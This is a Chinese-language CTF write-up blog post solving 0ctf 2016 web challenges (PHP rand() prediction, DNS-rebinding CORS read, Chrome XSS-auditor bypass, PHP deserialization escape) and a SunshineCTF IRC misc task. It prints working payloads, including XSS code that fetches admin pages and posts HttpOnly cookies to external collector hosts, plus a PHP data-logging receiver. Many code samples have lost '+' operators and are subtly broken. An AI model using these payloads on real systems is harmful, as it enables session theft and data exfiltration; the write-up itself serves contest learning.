上个周末打了个叼叼的0ctf,结果“学院派”的愤怒就是看什么题目都是一篇篇文献…web狗简直虐了一地,顺便附上sunshine ctf misc300的writeup(一个没有web题目的比赛Orz)…
0ctf2016
rand2
题目是队友做的,不是很懂,需要碰撞出随机数,在1mins以内。 先给2个别人的writeup: http://www.isecer.com/ctf/0ctf_2016_web_writeup_rand_2.html https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/rand_2
首先是题目的源码:
代码语言:javascript复制<?php
include('config.php');
session_start();
if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
session_destroy();
die('timeout');
} else {
$_SESSION['time'] = time();
}
echo rand();
if (isset($_GET['go'])) {
$_SESSION['rand'] = array();
$i = 5;
$d = '';
while($i--){
$r = (string)rand();
$_SESSION['rand'][] = $r;
$d .= $r;
}
echo md5($d);
} else if (isset($_GET['check'])) {
if ($_GET['check'] === $_SESSION['rand']) {
echo $flag;
} else {
echo 'die';
session_destroy();
}
} else {
show_source(__FILE__);
}
随机数在Keep-live下是可以被预测的。 http://drops.hduisa.cn/archives/365/
预测方法: state[i] = state[i-3] state[i-31] return state[i] >> 1
还有文献: https://media.blackhat.com/bh-us-12/Briefings/Argyros/BH_US_12_Argyros_PRNG_WP.pdf
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import re
import hashlib
import time
cookie = {"PHPSESSID": "2okdf7k5e637e1fms75t0a1hg4"}
heade = {"Connection": "Keep-Alive"}
#url = "http://127.0.0.1/test.php"
url = "http://202.120.7.202:8888"
url2 = "http://202.120.7.202:8888/?go="
session = requests.session()
def test():
ran_num = []
for i in range(31):
req = session.get(url, cookies=cookie, headers=heade)
cont = req.content
try:
num = re.findall(r'(. )<code>',cont)[0]
except:
print i
return 0
ran_num.append(int(num))
req = session.get(url2, cookies=cookie, headers=heade)
cont = req.content
ran_num.append(int(cont[1:-32]))
md5_num = cont[-32:-1]
#print md5_num
go_num = []
for x in range(3):
y = 32 x
tem_num1 = ran_num[y-3] ran_num[y-31]
bin_num = bin(tem_num1)
tem_num2 = int(bin_num[0:2] bin_num[3:], 2)
go_num.append([str(tem_num1), str(tem_num2)])
for x in range(2):
e = x 4
add_list = []
for y in range(2):
tem_num1 = int(go_num[x][y]) ran_num[e]
bin_num = bin(tem_num1)
tem_num2 = int(bin_num[0:2] bin_num[3:], 2)
add_list.append(str(tem_num1))
add_list.append(str(tem_num2))
go_num.append(add_list)
print go_num
# for x in range(5):
# req = session.get(url, cookies=cookie, headers=heade)
# cont = req.content
# num = re.findall(r'(. )<code>',cont)[0]
# print num
for a in go_num[0]:
for b in go_num[1]:
for c in go_num[2]:
for d in go_num[3]:
for e in go_num[4]:
now_num = a b c d e
now_md5 = hashlib.md5(now_num).hexdigest()
if md5_num == now_md5:
print "yes"
break
x = 32
now_num = ""
# for i in range(5):
# y = x i
# num1 = ran_num[y - 3] ran_num[y - 31]
# bin_num = bin(num1)
# #if len(bin_num) >= 32:
# # num2 = num1
# #else:
# num2 = int(bin_num[0:2] bin_num[3:], 2)
# #now_num = str(num)
# req = session.get(url, cookies=cookie, headers=heade)
# cont = req.content
# num3 = re.findall(r'(. )<code>',cont)[0]
# ran_num.append(int(num3))
# #print num3, "===>",num2
# print num3, "===>", num1," and " ,num2
def suc():
global ran_num
num5 = ran_num[-5:]
url3 = "http://202.120.7.202:8888/?"
for x in num5:
url3 = "check[]=" str(x) "&"
req = session.get(url3, cookies=cookie, headers=heade)
print req.content
#print now_md5
#print md5_num
if __name__ == '__main__':
res = test()
# while not res:
# try:
# res = test()
# except:
# res = False
# print "yyy"
# time.sleep(1)
# suc()
队友告诉我说切片切错了,所以没出flag,OrZ…….
Monkey (跨同源策略)
首先是一个md5碰撞,本以为很麻烦,后来发现其实就是相当于验证码类似的东西。
代码语言:javascript复制import random
import hashlib
str = 10000
while 1:
m2 = hashlib.md5()
m2.update(repr(str))
if (m2.hexdigest()[0:6]=='bfb93d'):
print str
break
str =1
然后尝试通过<img><iframe>
读东西,发现由于同源策略怎么都读不到。
看了别人的writeup:
http://www.isecer.com/ctf/0ctf_2016_web_writeup_monkey.html https://w00tsec.blogspot.jp/2016/03/0ctf-2016-write-up-monkey-web-4.html
知道是通过一些神秘的手段,首先是要通过ajax CORS跨域,然后把域名解析到127.0.0.1,然后记得放在8080端口,在他打开并停留的时候,解析,就可以了Orz(麻麻问我为什么跪着打字) 服务器脚本类似于这样
代码语言:javascript复制<script src="jquery.min.js"></script>
<script>
function getdata(){
$.ajax({
type: "GET",
url:'http://xxx.com:8080/secret',
async: true,
error: function(request) {
getdata();
},
success: function(data) {
$.get('http://yourdomain/get.php?data=' data);
}
});
}
getdata();
</script>
`
guestbook1 (bypass xss filter)
题目完全是被卡住了,是用了两个黑魔法过判断的,复现了很久才成功。
最叼的是这个人通过猜测几乎复现了题目的源码,有兴趣可以去试试。
稍微测试可以发现<>'"
被过滤,然后username会被放在id和内容两个地方,text这里有一个关于debug的判断
<body>
<div><h3>to be checked</h3></div>
<script>var debug=false;</script>
<div id="dsadsa">
<h2>dsadsa</h2>
</div>
<div id="text">dsadsa</div>
<script>
data = "dsadsa"
t = document.getElementById("text")
if(debug){
t.innerHTML=data
}else{
t.innerText=data
}
</script>
</body>
有个提示是boss使用的是chrome,本来以为chrome这个是常规环境,其实这里用了一个黑魔法。 关于chrome xss auditor Before rendering the response in the Document Object Model presented to the user, XSS auditor searches for instances of (malicious) parameters sent in the original request. If a detection is positive, the auditor is triggered and the response is “rewritten” to a non-executable state in the browser DOM.
或许你英文不好,我也是看的半知半解,上面这话的意思就是chrome会检测你的请求,如果有类似于<script>var debug=false</script>
这样的请求,chrome会把这个初始化忽视掉,我们不仅需要忽视这个变量,还需要初始化一下,这里就需要username这里会把传入的值放入id的问题了。
我们需要构造<div id="debug">
至于这里为什么构造id就可以初始化debug的问题,也是比较神奇的。
http://stackoverflow.com/questions/3434278/do-dom-tree-elements-with-ids-become-global-variables
没有很看懂,但是,大概明白debug被初始化一个对象,这样可以调用Orz。
前面的问题都解决了,下面就是要构造domxss请求了。
代码语言:javascript复制payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://requestb.in/xxxx",false);xmlhttp.send();'
out = []
for s in payload:
out.append(str(ord(s)))
print "\x3cimg src=a onerror=\u0022eval(String.fromCharCode(" ", ".join(out) "))\u0022\x3e"
由于单引号和双引号被过滤,所以需要用eval string.fromCharCode的方式来过请求了。
代码语言:javascript复制Secret:
random_characters_must_be_unique<script>var debug=false;</script>
Username:
debug
Message:
x3cimg src=a onerror=u0022eval(String.fromCharCode(120, 109, 108, 104, 116, 116, 112, 61, 110, 101, 119, 32, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 40, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 111, 112, 101, 110, 40, 34, 71, 69, 84, 34, 44, 34, 104, 116, 116, 112, 58, 47, 47, 114, 101, 113, 117, 101, 115, 116, 98, 46, 105, 110, 47, 120, 120, 120, 120, 34, 44, 102, 97, 108, 115, 101, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 115, 101, 110, 100, 40, 41, 59))u0022x3e
这里注意会被转义,所以要传入才是一个 先写个脚本生成message(拖个朋友的上来,直接post出去):
代码语言:javascript复制#!/bin/env python
#-*- encoding: utf-8 -*-
import os
import requests
import random
import string
def post(s,u,m):
r = requests.session()
if len(u) < 1:
u = 'debug'
_data = {
"secret":s,
"username":u,
"message":m,
"action":"submit"
}
res = r.post("http://202.120.7.201:8888/message.php", data=_data)
return res.url
def rstr(n=10):
return string.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], n)).replace(' ','')
def m2s(m):
r = ''
for x in m:
r = ',' str(x)
return r[1:]
if __name__ == '__main__':
s = '<script>var debug=false;</script>'
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/show.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://xss.lazysheep.cc",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv=" escape(r));'
l = m2s(map(ord, payload))
p2 = '\\x3cimg src=a onerror=\\u0022eval(String.fromCharCode(' l '))\\u0022\\x3e'
print post(rstr() s, 'debug', p2)
得到了一些东西:
代码语言:javascript复制<html> <!-- change log: use http-only cookie to prevent cookie stealing by xss, so flag is safe in cookie always check /admin/server_info.php for load balancing to do: files and folders permission control, disallow other users write file into uploads folder --> <body> <script>var debug=false;</script> <div id=""> <h2></h2> </div> <div id="text"></div> <script> data = "" t = document.getElementById("text") if(debug){ t.innerHTML=data }else{ t.innerText=data } </script> </body> </html>
他是说让我们去检查/admin/server_info.php这个文件。打开看是phpinfo()
因为cookie是http-only的,所以通过js的方式是得不到的,但是可以通过request中是始终存在的。
代码语言:javascript复制payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://requestb.in/xxxx",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv=" escape(r));'
这样就可以得到他的Phpinfo()
代码语言:javascript复制<td class="e">_COOKIE["flag"]</td><td class="v">0ctf{httponly_sometimes_not_so_secure}</td></tr> <tr><td class="e">_COOKIE["admin"]</td><td class="v">salt_is_admin</td></tr>
最后这一步不知道为什么没办法复现,朋友给我了他的php接受方式
代码语言:javascript复制<?php
$data = "get : ".urldecode(urldecode($_SERVER['QUERY_STRING']));
$data .= "rnpost : ".urldecode(urldecode(file_get_contents("php://input")));
$data .= "rnip : ".$_SERVER["REMOTE_ADDR"];
$data .= "rnREFERER : ".$_SERVER['HTTP_REFERER'];
$data .= "rnHTTP_USER_AGENT : ".$_SERVER['HTTP_USER_AGENT'];
$data .= "rnREQUEST_METHOD : ".$_SERVER['REQUEST_METHOD'];
$data .= "rnCookies : ".implode(' ',$_COOKIES);
if(strlen($data)>10){
file_put_contents("get.txt","### ".date("Y-m-d H:m:s")." ###rn".$data."rn", FILE_APPEND);
}
exit();
?>
这样就可以接收到get.txt,打开看就get了…
piapiapia(php反序列化逃逸字符)
先给别人的writeup http://www.isecer.com/ctf/0ctf_2016_web_writeup_piapiapia.html
源码就懒得传了,有兴趣可以问我要,通读一遍发现问题可能出在序列化上面,先看看过滤
代码语言:javascript复制public function filter($string) {
$escape = array(''', '\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
感觉问题在update.php上
代码语言:javascript复制$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
有一个有问题的判断是nickname的判断
代码语言:javascript复制if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
研究了下如果传入的是数组的话,这里的两个判断都能过
正常传入的话,是正常的语句
代码语言:javascript复制a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:3:"xxx";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}
序列化室友严格的长度的,如果长度错误,解序列化就是会报错停止。
我们需要试图构造一个nickname[]=xxx";}s:5:"photo";s:10:"config.php
这样如果溢出,就能读取config.php的信息。
这里有个问题一直没想明白,看了writeup才知道这里是通过filter里的where->hacker会溢出一个字符,这样如果传入和需要溢出的一样长的where,就会溢出一个完整的请求,就不会报错。
代码语言:javascript复制nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
get!
guestbook2
writeup还没出,先占坑。
代码语言:javascript复制total 100
drwxr-xr-x 22 root root 4096 Mar 9 14:53 .
drwxr-xr-x 22 root root 4096 Mar 9 14:53 ..
drwxr-xr-x 2 root root 4096 Mar 7 14:25 bin
drwxr-xr-x 3 root root 4096 Mar 7 14:26 boot
drwxr-xr-x 15 root root 4100 Mar 13 13:11 dev
drwxr-xr-x 96 root root 4096 Mar 13 13:20 etc
-r--r----- 1 flag flag 29 Mar 9 13:59 flag
-r-sr-x--- 1 flag www-data 8709 Mar 9 14:52 flag_reader
drwxr-xr-x 5 root root 4096 Mar 9 13:59 home
lrwxrwxrwx 1 root root 32 Mar 7 14:26 initrd.img -> boot/initrd.img-4.2.0-30-generic lrwxrwxrwx 1 root root 32 Mar 7 22:07 initrd.img.old -> boot/initrd.img-4.2.0-27-generic drwxr-xr-x 21 root root 4096 Mar 9 00:17 lib
drwxr-xr-x 2 root root 4096 Mar 7 22:07 lib64
drwx------ 2 root root 16384 Mar 7 22:07 lost found
drwxr-xr-x 3 root root 4096 Mar 7 22:07 media
drwxr-xr-x 2 root root 4096 Apr 11 2014 mnt
drwxr-xr-x 2 root root 4096 Feb 18 07:12 opt
dr-xr-xr-x 129 root root 0 Mar 13 13:11 proc
drwx------ 10 root root 4096 Mar 14 07:03 root
drwxr-xr-x 19 root root 720 Mar 14 22:22 run
drwxr-xr-x 2 root root 4096 Mar 7 14:25 sbin
drwxr-xr-x 2 root root 4096 Feb 18 07:12 srv
dr-xr-xr-x 13 root root 0 Mar 13 14:29 sys
drwxrwxrwt 2 root root 4096 Mar 15 13:09 tmp
drwxr-xr-x 10 root root 4096 Mar 7 22:07 usr
drwxr-xr-x 13 root root 4096 Mar 8 23:24 var
lrwxrwxrwx 1 root root 29 Mar 7 14:26 vmlinuz -> boot/vmlinuz-4.2.0-30-generic
lrwxrwxrwx 1 root root 29 Mar 7 22:07 vmlinuz.old -> boot/vmlinuz-4.2.0-27-generic
发现了flag,但是读不了,看到有个flag_reader,跑一下就好。
权限比较高,翻翻别的
代码语言:javascript复制total 20 drwxr-xr-x 5 root root 4096 Mar 9 13:59 .
drwxr-xr-x 22 root root 4096 Mar 9 14:53 ..
drwxr-xr-x 2 flag flag 4096 Mar 9 13:59 flag
drwxrwx--- 2 root guestbook 4096 Mar 14 06:29 guestbook
drwxr-xr-x 3 ops ops 4096 Mar 7 14:36 ops
gusetbook没东西,看看本目录吧
代码语言:javascript复制total 36 drwxr-xr-x 5 root root 4096 Mar 13 14:02 .
drwxr-xr-x 3 root root 4096 Mar 8 23:23 ..
drw-r-x--- 2 root www-data 4096 Mar 13 14:16 admin
-rw-r-x--- 1 root www-data 193 Mar 6 00:58 config.php
-rw-r-x--- 1 root www-data 1578 Mar 10 11:05 index.php
-rw-r-x--- 1 root www-data 684 Feb 27 23:11 message.php
-rw-r-x--- 1 root www-data 1077 Mar 9 23:03 show.php
drw-r-x--- 2 root www-data 4096 Mar 6 01:12 static
drwx-wx-wx 3 root www-data 4096 Mar 15 13:25 uploads
sunshine ctf2016
感觉挺有意思的一个比赛,是佛罗里达大学举办的ctf,所有的题目不是misc就是pwn,感觉比较坑,但是由于大部分题目比较基础,挺有意思的,尤其是做了一道比较有意思的misc题目。
Floridaman found this cool new invite only internet relay chat service but he can’t figure out how to actually get an invite… since you’re not a part of the Florida education system, maybe you can figure it out. http://4.31.182.246:4567
题意大概是说佛罗里达man想进一个聊天室,但是不知道怎么获得邀请,打开站发现有个地方输入freenode上的频道和密码,那么就输入一个吧,在freenode上进入聊天室发现进来了一个陌生人说
输入!flag 这样的证明自己,稍微测试了一下发现输入会有人私聊你还差多少个字符,开始以为这个地方是类似于截断匹配的,但是后来发现好像不是这样的。
先fuzz一下发现要输入12个字符,然后包括Flagrsd810这几个,然后经过长达1个小时的测试发现,每个字符后面可以跟的字符不同,唯有F是后面可以跟除自己以外的数字,8是一定要放在最后面,发现了一些规律后就测试吧…
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
cookie = {"__cfduid": "d489d3a9976cf50fa718050f32c4607201457848341","PAH":"alpha3"}
url = "https://webchat.freenode.net/dynamic/alpha/e/p?r=ea69282e77352a34d3696d90247dbc17&t=827"
a = "Flagrsd810"
#a = "OPQRSTUVWXYZ"
for x in a:
cont = "PRIVMSG #ddog :!flag F" x
data = {"s": "d3542650d359032fe7deecf5f4479e5d", "c": cont}
req =requests.post(url, data=data, cookies=cookie)
经过反复的测试可以测试出如果可以把这10个字母按顺序放进去,可是居然还有2个重复的呢,又是一顿fuzzing
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
cookie = {"__cfduid": "d489d3a9976cf50fa718050f32c4607201457848341","PAH":"alpha3"}
url = "https://webchat.freenode.net/dynamic/alpha/e/p?r=ea69282e77352a34d3696d90247dbc17&t=827"
a = "Flagrsd810"
#a = "OPQRSTUVWXYZ"
for x in a:
cont = "PRIVMSG #ddog :!flag Fl0rdda1sgr8"
data = {"s": "d3542650d359032fe7deecf5f4479e5d", "c": cont}
req =requests.post(url, data=data, cookies=cookie)
然后发现居然是佛罗里达….mdzz….这就是文化差异啊…..